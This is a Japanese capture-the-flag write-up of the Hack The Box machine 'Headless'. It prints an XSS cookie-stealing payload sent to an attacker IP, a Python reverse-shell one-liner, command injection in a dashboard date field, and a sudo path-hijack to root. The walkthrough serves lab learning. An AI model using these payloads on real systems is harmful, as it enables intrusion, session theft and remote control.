![見出し画像](https://assets.st-note.com/production/uploads/images/160486725/rectangle_large_type_2_8501fb6418a3726ddc6fb037fe43f241.png?width=1200)
HTB Headless
ユーザ権限の取得
nmap
![](https://assets.st-note.com/img/1730633311-lGEjchg1noktOZXf4r78CaDY.png)
22と5000が空いてます。
5000を見る
トップ画面
![](https://assets.st-note.com/img/1730633701-X07GltEDWBY9gUIKZHwaounm.png)
contact form。sqlインジェクションも無さそう。
![](https://assets.st-note.com/img/1730633769-0dkcift9As82VewRhZG3gyJn.png)
XSS
一応XSSも試してみる
![](https://assets.st-note.com/img/1730634751-qulvtc7KP08MbUhfB16rweId.png)
エラーが発生。
ハッキングを検知したぞ的なメッセージが表示されています。
親切にヘッダ情報見せてくれています。
![](https://assets.st-note.com/img/1730634774-OWsL5Z4jMokyldBnV6gTUcDh.png?width=1200)
Burpsuiteで通常時のヘッダを見てみる
![](https://assets.st-note.com/img/1730640718-HsFvgT1J9ASWO7mDP42Vfi5l.png?width=1200)
先程のハッキングの警告メッセージで表示されているヘッダ情報はこちらから送ったリクエストヘッダーをそのまま表示している可能性がたかく。
ヘッダにXSSを仕込むことで、画面上で表示されて実行される可能性が高いです。
User-Agentにscriptを埋め込む
![](https://assets.st-note.com/img/1730641262-59xJp0kaKNBnPoj2ZTfAlDhL.png?width=1200)
メッセージが出ました。
ハッキングの忠告ページに飛んだ時はヘッダが表示されることを利用して埋め込んだscriptを実行してくれました。
![](https://assets.st-note.com/img/1730641848-wHXyJB8pV3QZ7Ec12aM6tq4z.png?width=1200)
is_admin
ヘッダ情報のクッキーを見るとis_adminとなっている。
そしてハッシュ値が何を示しているのか気になります。
Cookie: is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs
デコードするとuser〜となってます。
adminのCookieをとれないかな?
![](https://assets.st-note.com/img/1730642434-ViB7tGluPfD9bCnReyYjdZNJ.png?width=1200)
XSSを掘る
<script>document.location='http://10.10.16.5/xss?c='+localStorage.getItem('is_admin')</script>
is_adminのデータを取得できるかと思いましたが、これは取れないようです。(null)
![](https://assets.st-note.com/img/1730643390-usMPI4F1lwXTSG0gU3C5NVdp.png?width=1200)
<script>document.location='http://10.10.16.5/xss?c='+document.cookie</script>
document.cookieを試してみると何かしら取れたようです。
![](https://assets.st-note.com/img/1730644901-lHZNpfc52qYGxmMnDOd870XJ.png?width=1200)
ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0
CyberChefでみてみるとadminとなっており、これでしょう。
![](https://assets.st-note.com/img/1730645010-H9fZigIBC08QMwtLyNYRXPGT.png)
ディレクトリ列挙
$ ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt -u "http://10.10.11.8:5000/FUZZ" -recursion -recursion-depth 1 -ic -c -o ffuf_result.json
裏で実行していたディレクトリスキャンを見るとdashboardが存在しているんだけど、500エラーになっており、ここに先程のクッキーをセットしていけるか?
![](https://assets.st-note.com/img/1730645319-eKp6LzFhk9PwXxjvfnSAGBr3.png)
RCE
sleep 10
![](https://assets.st-note.com/img/1730645861-Llh2aK5HFDwRSbPOgtrGWcqZ.png)
効果ありということで
ReversShellを流す
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.5",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("bash")'
Pythonのリバースシェルを流してみると取れました。
![](https://assets.st-note.com/img/1730646415-DVMflX3UCQ052epE6cmFk9hP.png)
root権限の取得
sudo -l
![](https://assets.st-note.com/img/1730646937-dqeam1ElCgYPuZ4AcSTWiV7k.png)
/usr/bin/syscheckの中を見てみる
dvir@headless:~$ cat /usr/bin/syscheck
cat /usr/bin/syscheck
#!/bin/bash
if [ "$EUID" -ne 0 ]; then
exit 1
fi
last_modified_time=$(/usr/bin/find /boot -name 'vmlinuz*' -exec stat -c %Y {} + | /usr/bin/sort -n | /usr/bin/tail -n 1)
formatted_time=$(/usr/bin/date -d "@$last_modified_time" +"%d/%m/%Y %H:%M")
/usr/bin/echo "Last Kernel Modification Time: $formatted_time"
disk_space=$(/usr/bin/df -h / | /usr/bin/awk 'NR==2 {print $4}')
/usr/bin/echo "Available disk space: $disk_space"
load_average=$(/usr/bin/uptime | /usr/bin/awk -F'load average:' '{print $2}')
/usr/bin/echo "System load average: $load_average"
if ! /usr/bin/pgrep -x "initdb.sh" &>/dev/null; then
/usr/bin/echo "Database service is not running. Starting it..."
./initdb.sh 2>/dev/null
else
/usr/bin/echo "Database service is running."
fi
exit 0
initdb.shを作り実行する
$ echo '#!/bin/bash' > initdb.sh
$ echo '' >> initdb.sh
$ echo 'ls /root/' >> initdb.sh
$ echo 'cat /root/root.txt' >> initdb.sh
$ chmod +x initdb.sh
$ sudo /usr/bin/syscheck
OSインジェクションのソース
dashboardで発生した脆弱性
app.pyを見るとレポート作成のシェルを作成するのに、os.popenで呼び出しており、引数にdateパラメーターをそのまま渡しています。
@app.route('/dashboard', methods=['GET', 'POST'])
def admin():
if serializer.loads(request.cookies.get('is_admin')) == "user":
return abort(401)
script_output = ""
if request.method == 'POST':
date = request.form.get('date')
if date:
script_output = os.popen(f'bash report.sh {date}').read()
return render_template('dashboard.html', script_output=script_output)